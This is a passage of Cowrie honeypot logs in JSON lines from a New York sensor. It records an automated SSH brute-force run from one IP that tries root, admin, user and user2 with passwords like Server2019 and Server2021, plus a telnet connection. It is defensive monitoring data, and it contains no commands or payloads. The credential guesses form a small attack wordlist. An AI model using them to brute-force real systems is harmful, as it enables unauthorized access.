a2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:29.894548Z","src_ip":"103.114.153.158","session":"5577c919ab3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2016","message":"login attempt [user2/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:30.729151Z","src_ip":"103.114.153.158","session":"5577c919ab3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:31.209780Z","src_ip":"103.114.153.158","session":"5577c919ab3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41118,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e56ea25d5b4","protocol":"ssh","message":"New connection: 103.114.153.158:41118 (10.17.0.5:22) [session: 7e56ea25d5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:31.386025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:31.390726Z","src_ip":"103.114.153.158","session":"7e56ea25d5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33224,"dst_ip":"159.203.135.109","dst_port":23,"session":"297d0bedd285","protocol":"telnet","message":"New connection: 69.4.83.194:33224 (159.203.135.109:23) [session: 297d0bedd285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:31.572363Z"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:31.593207Z","src_ip":"103.114.153.158","session":"7e56ea25d5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2019","message":"login attempt [root/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:32.340965Z","src_ip":"103.114.153.158","session":"7e56ea25d5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:32.821589Z","src_ip":"103.114.153.158","session":"7e56ea25d5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41132,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65c6a5be063","protocol":"ssh","message":"New connection: 103.114.153.158:41132 (10.17.0.5:22) [session: b65c6a5be063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:33.044966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:33.049056Z","src_ip":"103.114.153.158","session":"b65c6a5be063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:33.252108Z","src_ip":"103.114.153.158","session":"b65c6a5be063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2019","message":"login attempt [admin/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:34.094079Z","src_ip":"103.114.153.158","session":"b65c6a5be063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:34.575221Z","src_ip":"103.114.153.158","session":"b65c6a5be063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2432cb4029d3","protocol":"ssh","message":"New connection: 103.114.153.158:41140 (10.17.0.5:22) [session: 2432cb4029d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:34.752960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:34.757798Z","src_ip":"103.114.153.158","session":"2432cb4029d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:34.943257Z","src_ip":"103.114.153.158","session":"2432cb4029d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2019","message":"login attempt [user/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:35.714380Z","src_ip":"103.114.153.158","session":"2432cb4029d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:36.194673Z","src_ip":"103.114.153.158","session":"2432cb4029d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41154,"dst_ip":"10.17.0.5","dst_port":22,"session":"c30155e9ace1","protocol":"ssh","message":"New connection: 103.114.153.158:41154 (10.17.0.5:22) [session: c30155e9ace1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:36.386349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:36.391492Z","src_ip":"103.114.153.158","session":"c30155e9ace1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:36.578096Z","src_ip":"103.114.153.158","session":"c30155e9ace1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2019","message":"login attempt [user2/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:37.355652Z","src_ip":"103.114.153.158","session":"c30155e9ace1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:37.836856Z","src_ip":"103.114.153.158","session":"c30155e9ace1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41166,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa4557ad6fa","protocol":"ssh","message":"New connection: 103.114.153.158:41166 (10.17.0.5:22) [session: 4fa4557ad6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:38.049523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:38.054457Z","src_ip":"103.114.153.158","session":"4fa4557ad6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:38.253862Z","src_ip":"103.114.153.158","session":"4fa4557ad6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2021","message":"login attempt [root/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:39.082372Z","src_ip":"103.114.153.158","session":"4fa4557ad6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:39.562911Z","src_ip":"103.114.153.158","session":"4fa4557ad6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec4b222ff62a","protocol":"ssh","message":"New connection: 103.114.153.158:41180 (10.17.0.5:22) [session: ec4b222ff62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:39.750587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:39.755081Z","src_ip":"103.114.153.158","session":"ec4b222ff62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:39.945015Z","src_ip":"103.114.153.158","session":"ec4b222ff62a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2021","message":"login attempt [admin/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:40.736455Z","src_ip":"103.114.153.158","session":"ec4b222ff62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:41.217467Z","src_ip":"103.114.153.158","session":"ec4b222ff62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38232,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e97e8a5df16","protocol":"ssh","message":"New connection: 103.114.153.158:38232 (10.17.0.5:22) [session: 9e97e8a5df16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:41.411160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:41.415572Z","src_ip":"103.114.153.158","session":"9e97e8a5df16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:41.604433Z","src_ip":"103.114.153.158","session":"9e97e8a5df16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2021","message":"login attempt [user/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:42.382341Z","src_ip":"103.114.153.158","session":"9e97e8a5df16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:42.862795Z","src_ip":"103.114.153.158","session":"9e97e8a5df16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38234,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbd9935fb208","protocol":"ssh","message":"New connection: 103.114.153.158:38234 (10.17.0.5:22) [session: cbd9935fb208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:43.064676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:43.070055Z","src_ip":"103.114.153.158","session":"cbd9935fb208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:43.261545Z","src_ip":"103.114.153.158","session":"cbd9935fb208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00623869895935,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:44.011295Z","src_ip":"69.4.83.194","session":"1758b45d6976","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2021","message":"login attempt [user2/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:44.058709Z","src_ip":"103.114.153.158","session":"cbd9935fb208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:44.539152Z","src_ip":"103.114.153.158","session":"cbd9935fb208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38236,"dst_ip":"10.17.0.5","dst_port":22,"session":"66a3a6ab0881","protocol":"ssh","message":"New connection: 103.114.153.158:38236 (10.17.0.5:22) [session: 66a3a6ab0881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:44.751752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:44.756859Z","src_ip":"103.114.153.158","session":"66a3a6ab0881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:44.964361Z","src_ip":"103.114.153.158","session":"66a3a6ab0881","protocol":"ssh"}
